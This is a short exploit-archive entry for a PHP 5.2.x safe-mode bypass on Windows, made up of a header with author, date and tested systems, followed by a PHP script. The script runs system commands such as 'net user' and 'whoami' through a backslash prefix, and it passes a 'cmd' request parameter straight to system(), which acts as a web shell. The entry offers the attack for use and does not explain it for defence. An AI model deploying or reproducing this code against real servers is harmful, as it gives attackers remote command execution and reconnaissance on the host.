# Exploit Title: PHP 5.2.x <= Safe Mode Windows Bypass Exploit
# Date : 2016-09-13
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
# Vendor Homepage: http:
# Download : http:
# Tested : Windows 10 , Windows 8.1 ,Windows 8 ,Windows 7 , Windows Vista , Windows XP
# Version: PHP <= 5.2.x (All Version less then 5.2.x )
Exploit :
<?php
system( '\dir' );
system( '\net user' );
print passthru ( '\ipconfig' );
exec ( '\whoami' , $a );
print_r( $a );
$cmd = '\\' . $_GET [ 'cmd' ];
system( $cmd );
?>
|